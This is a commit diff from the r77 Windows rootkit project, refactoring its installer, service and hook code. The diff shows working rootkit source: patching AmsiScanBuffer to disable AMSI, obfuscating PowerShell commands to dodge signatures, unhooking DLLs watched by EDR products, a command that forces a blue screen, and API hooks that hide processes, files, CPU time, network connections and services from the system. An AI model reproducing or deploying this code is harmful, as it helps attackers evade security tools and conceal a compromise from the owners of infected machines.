Skip to content

Commit f58515c

Browse files
author
bytecode77
committed
Use intrinsics; refactoring
1 parent ded9708 commit f58515c

24 files changed

+413
-453
lines changed

Example/Example.csproj

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -28,7 +28,7 @@
2828
</PropertyGroup>
2929
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
3030
<PlatformTarget>AnyCPU</PlatformTarget>
31-
<DebugType>pdbonly</DebugType>
31+
<DebugType>none</DebugType>
3232
<Optimize>true</Optimize>
3333
<OutputPath>bin\Release\</OutputPath>
3434
<DefineConstants>TRACE</DefineConstants>

Install/Install.c

Lines changed: 5 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -2,10 +2,8 @@
22
#include "resource.h"
33
#include "r77def.h"
44
#include "r77win.h"
5-
#include "r77runtime.h"
65
#include <wchar.h>
76
#include <Shlwapi.h>
8-
#include <VersionHelpers.h>
97

108
int main()
119
{
@@ -66,7 +64,7 @@ LPWSTR GetPowershellCommand(BOOL is64Bit)
6664
// AMSI must be disabled for the entire process, because both powershell and .NET itself implement AMSI.
6765

6866
// AMSI is only supported on Windows 10.
69-
if (IsWindows10OrGreater2())
67+
if (R77_IsWindows10OrGreater())
7068
{
7169
// Patch amsi.dll!AmsiScanBuffer prior to [Reflection.Assembly]::Load.
7270
// Do not use Add-Type, because it will invoke csc.exe and compile a C# DLL to disk.
@@ -177,7 +175,7 @@ VOID ObfuscatePowershellVariable(LPWSTR command, LPCWSTR variableName)
177175
{
178176
for (LPWSTR ocurrence; ocurrence = StrStrIW(command, variableName);)
179177
{
180-
libc_wmemcpy(ocurrence, newName, length);
178+
i_wmemcpy(ocurrence, newName, length);
181179
}
182180
}
183181
}
@@ -193,7 +191,7 @@ VOID ObfuscatePowershellStringLiterals(LPWSTR command)
193191
// will eventually end up in a list of known signatures.
194192

195193
PWCHAR newCommand = NEW_ARRAY(WCHAR, 16384);
196-
libc_memset(newCommand, 0, 16384 * sizeof(WCHAR));
194+
i_wmemset(newCommand, 0, 16384);
197195

198196
LPBYTE random = NEW_ARRAY(BYTE, 16384);
199197
if (!GetRandomBytes(random, 16384)) return;
@@ -225,10 +223,10 @@ VOID ObfuscatePowershellStringLiterals(LPWSTR command)
225223
{
226224
WCHAR c = beginQuote[i + 1];
227225
WCHAR charNumber[10];
228-
libc_ltow(c, charNumber);
226+
Int32ToStrW(c, charNumber);
229227

230228
WCHAR obfuscatedChar[20];
231-
libc_memset(obfuscatedChar, 0, 20 * sizeof(WCHAR));
229+
i_wmemset(obfuscatedChar, 0, 20);
232230

233231
// Randomly choose an obfuscation technique.
234232
switch ((*randomPtr++) & 3)

Service/ProcessListener.c

Lines changed: 1 addition & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,6 @@
11
#include "ProcessListener.h"
22
#include "r77def.h"
33
#include "r77win.h"
4-
#include "r77runtime.h"
54
#include <Psapi.h>
65

76
VOID NewProcessListener(DWORD interval, PROCESSIDCALLBACK callback)
@@ -44,7 +43,7 @@ static DWORD WINAPI NewProcessListenerThread(LPVOID parameter)
4443
if (isNew) notifier->Callback(currendProcesses[i]);
4544
}
4645

47-
libc_memcpy(previousProcesses, currendProcesses, sizeof(DWORD) * 10000);
46+
i_memcpy(previousProcesses, currendProcesses, sizeof(DWORD) * 10000);
4847
previousProcessCount = currendProcessCount;
4948
}
5049

Service/Service.c

Lines changed: 6 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -2,19 +2,17 @@
22
#include "resource.h"
33
#include "r77def.h"
44
#include "r77win.h"
5-
#include "r77runtime.h"
65
#include "r77config.h"
76
#include "r77process.h"
87
#include "ProcessListener.h"
98
#include "ControlPipeListener.h"
109
#include <Psapi.h>
11-
#include <VersionHelpers.h>
1210

1311
int main()
1412
{
1513
// Unhook DLL's that are monitored by EDR.
1614
UnhookDll(L"ntdll.dll");
17-
if (IsWindows10OrGreater2() || BITNESS(64))
15+
if (R77_IsWindows10OrGreater() || BITNESS(64))
1816
{
1917
// Unhooking kernel32.dll on Windows 7 x86 fails.
2018
//TODO: Find out why unhooking kernel32.dll on Windows 7 x86 fails.
@@ -283,11 +281,11 @@ VOID ControlCallback(DWORD controlCode, HANDLE pipe)
283281
LPBYTE redirectedData = NEW_ARRAY(BYTE, redirectedDataSize);
284282

285283
DWORD offset = 0;
286-
libc_memcpy(redirectedData + offset, path, pathSize);
284+
i_memcpy(redirectedData + offset, path, pathSize);
287285
offset += pathSize;
288-
libc_memcpy(redirectedData + offset, &fileSize, sizeof(DWORD));
286+
i_memcpy(redirectedData + offset, &fileSize, sizeof(DWORD));
289287
offset += sizeof(DWORD);
290-
libc_memcpy(redirectedData + offset, file, fileSize);
288+
i_memcpy(redirectedData + offset, file, fileSize);
291289

292290
RedirectCommand64(controlCode, redirectedData, redirectedDataSize);
293291
FREE(redirectedData);
@@ -303,10 +301,10 @@ VOID ControlCallback(DWORD controlCode, HANDLE pipe)
303301
case CONTROL_SYSTEM_BSOD:
304302
{
305303
BOOLEAN previousValue = FALSE;
306-
RtlAdjustPrivilege(20, TRUE, FALSE, &previousValue);
304+
R77_RtlAdjustPrivilege(20, TRUE, FALSE, &previousValue);
307305

308306
BOOLEAN oldIsCritical = FALSE;
309-
RtlSetProcessIsCritical(TRUE, &oldIsCritical, FALSE);
307+
R77_RtlSetProcessIsCritical(TRUE, &oldIsCritical, FALSE);
310308

311309
ExitProcess(0);
312310
break;

Stager/Stager.csproj

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -27,7 +27,7 @@
2727
</PropertyGroup>
2828
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
2929
<PlatformTarget>AnyCPU</PlatformTarget>
30-
<DebugType>pdbonly</DebugType>
30+
<DebugType>none</DebugType>
3131
<Optimize>true</Optimize>
3232
<OutputPath>bin\Release\</OutputPath>
3333
<DefineConstants>TRACE</DefineConstants>

TestConsole/TestConsole.csproj

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -32,7 +32,7 @@
3232
<OutputPath>bin\Release\</OutputPath>
3333
<DefineConstants>TRACE</DefineConstants>
3434
<Optimize>true</Optimize>
35-
<DebugType>pdbonly</DebugType>
35+
<DebugType>none</DebugType>
3636
<PlatformTarget>AnyCPU</PlatformTarget>
3737
<LangVersion>7.3</LangVersion>
3838
<ErrorReport>prompt</ErrorReport>

r77/Config.c

Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,9 @@
11
#include "Config.h"
22
#include "r77win.h"
33

4+
static HANDLE ConfigThread;
5+
static PR77_CONFIG Configuration;
6+
47
VOID InitializeConfig()
58
{
69
// The configuration is read periodically in a background thread.

r77/Config.h

Lines changed: 1 addition & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -1,10 +1,8 @@
1+
#include "r77mindef.h"
12
#include "r77config.h"
23
#ifndef _CONFIG_H
34
#define _CONFIG_H
45

5-
static HANDLE ConfigThread;
6-
static PR77_CONFIG Configuration;
7-
86
/// <summary>
97
/// Initializes the configuration system.
108
/// </summary>

r77/Hooks.c

Lines changed: 30 additions & 18 deletions
Original file line numberDiff line numberDiff line change
@@ -1,15 +1,24 @@
11
#include "Hooks.h"
22
#include "Rootkit.h"
33
#include "Config.h"
4-
#include "r77mindef.h"
54
#include "r77def.h"
65
#include "r77win.h"
76
#include "ntdll.h"
8-
#include "r77runtime.h"
97
#include "detours.h"
108
#include <Shlwapi.h>
119
#include <wchar.h>
1210

11+
static NT_NTQUERYSYSTEMINFORMATION OriginalNtQuerySystemInformation;
12+
static NT_NTRESUMETHREAD OriginalNtResumeThread;
13+
static NT_NTQUERYDIRECTORYFILE OriginalNtQueryDirectoryFile;
14+
static NT_NTQUERYDIRECTORYFILEEX OriginalNtQueryDirectoryFileEx;
15+
static NT_NTENUMERATEKEY OriginalNtEnumerateKey;
16+
static NT_NTENUMERATEVALUEKEY OriginalNtEnumerateValueKey;
17+
static NT_ENUMSERVICEGROUPW OriginalEnumServiceGroupW;
18+
static NT_ENUMSERVICESSTATUSEXW OriginalEnumServicesStatusExW;
19+
static NT_ENUMSERVICESSTATUSEXW OriginalEnumServicesStatusExW2;
20+
static NT_NTDEVICEIOCONTROLFILE OriginalNtDeviceIoControlFile;
21+
1322
VOID InitializeHooks()
1423
{
1524
DetourTransactionBegin();
@@ -129,14 +138,15 @@ static NTSTATUS NTAPI HookedNtQuerySystemInformation(SYSTEM_INFORMATION_CLASS sy
129138
LARGE_INTEGER hiddenUserTime = { 0 };
130139
if (GetProcessHiddenTimes(&hiddenKernelTime, &hiddenUserTime, NULL))
131140
{
141+
PNT_SYSTEM_PROCESSOR_PERFORMANCE_INFORMATION performanceInformation = (PNT_SYSTEM_PROCESSOR_PERFORMANCE_INFORMATION)systemInformation;
132142
ULONG numberOfProcessors = newReturnLength / sizeof(NT_SYSTEM_PROCESSOR_PERFORMANCE_INFORMATION);
143+
133144
for (ULONG i = 0; i < numberOfProcessors; i++)
134145
{
135146
//TODO: This works, but it needs to be on a per-cpu basis instead of x / numberOfProcessors
136-
PNT_SYSTEM_PROCESSOR_PERFORMANCE_INFORMATION performanceInformation = &((PNT_SYSTEM_PROCESSOR_PERFORMANCE_INFORMATION)systemInformation)[i];
137-
performanceInformation->KernelTime.QuadPart += hiddenUserTime.QuadPart / numberOfProcessors;
138-
performanceInformation->UserTime.QuadPart -= hiddenUserTime.QuadPart / numberOfProcessors;
139-
performanceInformation->IdleTime.QuadPart += (hiddenKernelTime.QuadPart + hiddenUserTime.QuadPart) / numberOfProcessors;
147+
performanceInformation[i].KernelTime.QuadPart += hiddenUserTime.QuadPart / numberOfProcessors;
148+
performanceInformation[i].UserTime.QuadPart -= hiddenUserTime.QuadPart / numberOfProcessors;
149+
performanceInformation[i].IdleTime.QuadPart += (hiddenKernelTime.QuadPart + hiddenUserTime.QuadPart) / numberOfProcessors;
140150
}
141151
}
142152
}
@@ -147,10 +157,12 @@ static NTSTATUS NTAPI HookedNtQuerySystemInformation(SYSTEM_INFORMATION_CLASS sy
147157
LONGLONG hiddenCycleTime = 0;
148158
if (GetProcessHiddenTimes(NULL, NULL, &hiddenCycleTime))
149159
{
150-
ULONG numberOfProcessors = newReturnLength / sizeof(LARGE_INTEGER);
160+
PNT_SYSTEM_PROCESSOR_IDLE_CYCLE_TIME_INFORMATION idleCycleTimeInformation = (PNT_SYSTEM_PROCESSOR_IDLE_CYCLE_TIME_INFORMATION)systemInformation;
161+
ULONG numberOfProcessors = newReturnLength / sizeof(NT_SYSTEM_PROCESSOR_IDLE_CYCLE_TIME_INFORMATION);
162+
151163
for (ULONG i = 0; i < numberOfProcessors; i++)
152164
{
153-
((PLARGE_INTEGER)systemInformation)[i].QuadPart += hiddenCycleTime / numberOfProcessors;
165+
idleCycleTimeInformation[i].CycleTime += hiddenCycleTime / numberOfProcessors;
154166
}
155167
}
156168
}
@@ -219,7 +231,7 @@ static NTSTATUS NTAPI HookedNtQueryDirectoryFile(HANDLE fileHandle, HANDLE event
219231
{
220232
if (nextEntryOffset)
221233
{
222-
RtlCopyMemory
234+
i_memcpy
223235
(
224236
current,
225237
(LPBYTE)current + nextEntryOffset,
@@ -281,7 +293,7 @@ static NTSTATUS NTAPI HookedNtQueryDirectoryFileEx(HANDLE fileHandle, HANDLE eve
281293
{
282294
if (nextEntryOffset)
283295
{
284-
RtlCopyMemory
296+
i_memcpy
285297
(
286298
current,
287299
(LPBYTE)current + nextEntryOffset,
@@ -393,7 +405,7 @@ static NTSTATUS NTAPI HookedNtDeviceIoControlFile(HANDLE fileHandle, HANDLE even
393405
{
394406
// Check, if the device is "\Device\Nsi"
395407
BYTE deviceName[500];
396-
if (NT_SUCCESS(NtQueryObject2(fileHandle, ObjectNameInformation, deviceName, 500, NULL)) &&
408+
if (NT_SUCCESS(R77_NtQueryObject(fileHandle, ObjectNameInformation, deviceName, 500, NULL)) &&
397409
!StrCmpNIW(DEVICE_NSI, ((PUNICODE_STRING)deviceName)->Buffer, sizeof(DEVICE_NSI) / sizeof(WCHAR)))
398410
{
399411
PNT_NSI_PARAM nsiParam = (PNT_NSI_PARAM)outputBuffer;
@@ -442,20 +454,20 @@ static NTSTATUS NTAPI HookedNtDeviceIoControlFile(HANDLE fileHandle, HANDLE even
442454
{
443455
if (nsiParam->Type == NsiTcp)
444456
{
445-
RtlMoveMemory(tcpEntry, (LPBYTE)tcpEntry + nsiParam->EntrySize, (nsiParam->Count - i - 1) * nsiParam->EntrySize);
457+
memmove(tcpEntry, (LPBYTE)tcpEntry + nsiParam->EntrySize, (nsiParam->Count - i - 1) * nsiParam->EntrySize);
446458
}
447459
else if (nsiParam->Type == NsiUdp)
448460
{
449-
RtlMoveMemory(udpEntry, (LPBYTE)udpEntry + nsiParam->EntrySize, (nsiParam->Count - i - 1) * nsiParam->EntrySize);
461+
memmove(udpEntry, (LPBYTE)udpEntry + nsiParam->EntrySize, (nsiParam->Count - i - 1) * nsiParam->EntrySize);
450462
}
451463

452464
if (statusEntry)
453465
{
454-
RtlMoveMemory(statusEntry, (LPBYTE)statusEntry + nsiParam->StatusEntrySize, (nsiParam->Count - i - 1) * nsiParam->StatusEntrySize);
466+
memmove(statusEntry, (LPBYTE)statusEntry + nsiParam->StatusEntrySize, (nsiParam->Count - i - 1) * nsiParam->StatusEntrySize);
455467
}
456468
if (processEntry)
457469
{
458-
RtlMoveMemory(processEntry, (LPBYTE)processEntry + nsiParam->ProcessEntrySize, (nsiParam->Count - i - 1) * nsiParam->ProcessEntrySize);
470+
memmove(processEntry, (LPBYTE)processEntry + nsiParam->ProcessEntrySize, (nsiParam->Count - i - 1) * nsiParam->ProcessEntrySize);
459471
}
460472
}
461473

@@ -556,7 +568,7 @@ static LPWSTR FileInformationGetName(LPVOID fileInformation, FILE_INFORMATION_CL
556568

557569
if (fileName && fileNameLength > 0)
558570
{
559-
wmemcpy(name, fileName, fileNameLength / sizeof(WCHAR));
571+
i_wmemcpy(name, fileName, fileNameLength / sizeof(WCHAR));
560572
name[fileNameLength / sizeof(WCHAR)] = L'\0';
561573
return name;
562574
}
@@ -643,7 +655,7 @@ static VOID FilterEnumServiceStatus(LPENUM_SERVICE_STATUSW services, LPDWORD ser
643655
IsServiceNameHidden(services[i].lpServiceName) ||
644656
IsServiceNameHidden(services[i].lpDisplayName))
645657
{
646-
RtlMoveMemory(&services[i], &services[i + 1], (*servicesReturned - i - 1) * sizeof(ENUM_SERVICE_STATUSW));
658+
memmove(&services[i], &services[i + 1], (*servicesReturned - i - 1) * sizeof(ENUM_SERVICE_STATUSW));
647659
(*servicesReturned)--;
648660
i--;
649661
}
@@ -659,7 +671,7 @@ static VOID FilterEnumServiceStatusProcess(LPENUM_SERVICE_STATUS_PROCESSW servic
659671
IsServiceNameHidden(services[i].lpServiceName) ||
660672
IsServiceNameHidden(services[i].lpDisplayName))
661673
{
662-
RtlMoveMemory(&services[i], &services[i + 1], (*servicesReturned - i - 1) * sizeof(ENUM_SERVICE_STATUS_PROCESSW));
674+
memmove(&services[i], &services[i + 1], (*servicesReturned - i - 1) * sizeof(ENUM_SERVICE_STATUS_PROCESSW));
663675
(*servicesReturned)--;
664676
i--;
665677
}

r77/Hooks.h

Lines changed: 0 additions & 11 deletions
Original file line numberDiff line numberDiff line change
@@ -3,17 +3,6 @@
33
#ifndef _HOOKS_H
44
#define _HOOKS_H
55

6-
static NT_NTQUERYSYSTEMINFORMATION OriginalNtQuerySystemInformation;
7-
static NT_NTRESUMETHREAD OriginalNtResumeThread;
8-
static NT_NTQUERYDIRECTORYFILE OriginalNtQueryDirectoryFile;
9-
static NT_NTQUERYDIRECTORYFILEEX OriginalNtQueryDirectoryFileEx;
10-
static NT_NTENUMERATEKEY OriginalNtEnumerateKey;
11-
static NT_NTENUMERATEVALUEKEY OriginalNtEnumerateValueKey;
12-
static NT_ENUMSERVICEGROUPW OriginalEnumServiceGroupW;
13-
static NT_ENUMSERVICESSTATUSEXW OriginalEnumServicesStatusExW;
14-
static NT_ENUMSERVICESSTATUSEXW OriginalEnumServicesStatusExW2;
15-
static NT_NTDEVICEIOCONTROLFILE OriginalNtDeviceIoControlFile;
16-
176
/// <summary>
187
/// Attaches hooks to r77 specific API's.
198
/// </summary>

0 commit comments

Comments
 (0)